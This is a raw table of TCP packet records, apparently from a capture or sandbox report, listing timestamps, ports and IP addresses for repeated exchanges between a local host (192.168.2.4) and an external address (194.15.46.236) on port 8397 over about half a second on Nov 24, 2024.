Nov 24, 2024 12:10:11.113234043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.114263058 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.114415884 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.114456892 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.115545034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.115641117 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.115685940 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.116805077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.116885900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.116930962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.118031979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.118123055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.118170977 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.119288921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.119391918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.119438887 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.120537043 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.120712042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.120762110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.121728897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.171408892 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.272819996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.272850990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.272917032 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.273349047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.273472071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.273524046 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.274703979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.274883986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.274935961 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.276300907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.276418924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.276468039 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.277373075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.277517080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.277571917 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.278654099 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.278717995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.278762102 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.279762983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.279886961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.279932022 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.280874968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.280970097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.281014919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.282104969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.282206059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.282264948 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.283396959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.283478975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.283523083 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.284620047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.284760952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.284802914 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.285865068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.285955906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.285999060 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.287117004 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.287254095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.287298918 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.288357019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.288486958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.288537979 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.289625883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.289778948 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.289818048 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.290895939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.291023016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.291084051 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.292145014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.292259932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.292301893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.293425083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.293582916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.293625116 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.294651985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.294763088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.294805050 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.295967102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.296078920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.296123028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.297177076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.297305107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.297350883 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.298783064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.299061060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.299102068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.300343037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.300446987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.300491095 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.301120996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.301196098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.301234007 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.302175045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.302273035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.302316904 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.303447962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.303555012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.303599119 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.304680109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.304795980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.304841042 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.305948019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.306050062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.306093931 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.307209015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.307307959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.307353973 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.308475971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.308593988 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.308640003 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.309693098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.309807062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.309851885 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.310957909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.311083078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.311127901 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.312215090 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.312326908 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.312366962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.313467026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.313564062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.313612938 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.314703941 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.314922094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.314958096 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.316173077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.316281080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.316325903 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.317647934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.317747116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.317791939 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.318609953 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.318686962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.318730116 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.319729090 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.319843054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.319885969 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.320981979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.321089029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.321132898 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.322242022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.322350979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.322391987 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.323471069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.323590040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.323632002 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.324742079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.324848890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.324891090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.325978994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.326097965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.326141119 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.327245951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.327421904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.327462912 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.328499079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.328610897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.328663111 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.329775095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.329801083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.329842091 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.331010103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.331111908 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.331159115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.332235098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.332354069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.332398891 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.333520889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.333631039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.333673000 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.334753036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.334877968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.334922075 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.336036921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.336174965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.336219072 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.337279081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.337419033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.337455988 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.338455915 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.383388996 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.491322041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.491359949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.491445065 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.491600037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.491660118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.491699934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.492719889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.492801905 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.492856026 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.493700981 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.493839025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.493880033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.495021105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.495161057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.495204926 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.496303082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.496438026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.496475935 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.497505903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.497601986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.497639894 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.498733997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.498846054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.498881102 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.500001907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.500107050 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.500143051 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.501470089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.501554012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.501590967 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.502552032 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.502700090 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.502737045 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.503753901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.503851891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.503891945 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.504987955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.505093098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.505131006 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.506232023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.506369114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.506407022 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.507502079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.507611036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.507652044 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.508795977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.508871078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.508914948 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.510011911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.510111094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.510155916 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.511447906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.511596918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.511636972 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.512516022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.512619019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.512660980 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.513816118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.513890982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.513936043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.515213013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.515332937 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.515383005 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.516506910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.516585112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.516625881 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.517568111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.517693043 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.517735958 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.518784046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.518897057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.518939972 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.520057917 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.520112991 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.520155907 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.521308899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.521410942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.521450043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.522610903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.522713900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.522757053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.523812056 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.523921967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.523962975 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.525044918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.525163889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.525206089 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.526546955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.526714087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.526751995 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.528002977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.528126001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.528256893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.528958082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.529051065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.529094934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.530148983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.530201912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.530247927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.531497955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.531627893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.531682014 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.532932043 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.533051968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.533108950 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.534626961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.534969091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.535012007 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.536533117 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.536616087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.536659956 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.537653923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.537755013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.537796021 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.538657904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.538732052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.538768053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.539768934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.539951086 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.539990902 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.540813923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.540916920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.540955067 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.541904926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.542032957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.542072058 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.543180943 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.543294907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.543330908 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.544475079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.544563055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.544600964 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.545639992 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.545795918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.545840025 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.546736956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.546854973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.546890974 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.547651052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.547760963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.547796965 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.548918009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.549026966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.549072981 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.550160885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.550297022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.550340891 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.551404953 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.551450014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.551500082 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.552647114 CET	8397	49733	194.15.46.236	192.168.2.4
